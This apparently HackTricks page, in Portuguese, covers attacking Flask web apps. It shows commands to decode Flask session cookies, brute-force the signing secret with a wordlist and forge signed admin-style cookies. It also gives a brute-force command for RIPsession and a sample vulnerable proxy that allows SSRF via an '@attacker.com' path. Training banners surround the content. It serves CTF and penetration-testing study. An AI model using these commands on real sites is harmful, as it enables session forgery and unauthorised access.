Flask
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Provavelmente, se você estiver participando de um CTF, uma aplicação Flask estará relacionada a SSTI.
Cookies
O nome padrão do cookie de sessão é session.
Decodificador
Decodificador online de cookies do Flask: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Pegue a primeira parte do cookie até o primeiro ponto e decodifique-a em Base64:
echo "ImhlbGxvIg" | base64 -d
O cookie também é assinado usando uma senha
Flask-Unsign
Ferramenta de linha de comando para obter, decodificar, realizar brute-force e forjar session cookies de uma aplicação Flask adivinhando chaves secretas.
pip3 install flask-unsign
Decodificar Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Assinatura
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Assinando em versões legadas (antigas)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Ferramenta de linha de comando para realizar brute-force em sites usando cookies criados com flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi no cookie de sessão do Flask com SQLmap
This example usa sqlmap eval option para assinar automaticamente payloads do sqlmap para flask usando um segredo conhecido.
Flask Proxy to SSRF
In this writeup é explicado como Flask permite uma requisição começando com o caractere “@”:
GET @/ HTTP/1.1
Host: target.com
Connection: close
Qual, no seguinte cenário:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Pode permitir introduzir algo como “@attacker.com” para causar uma SSRF.
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


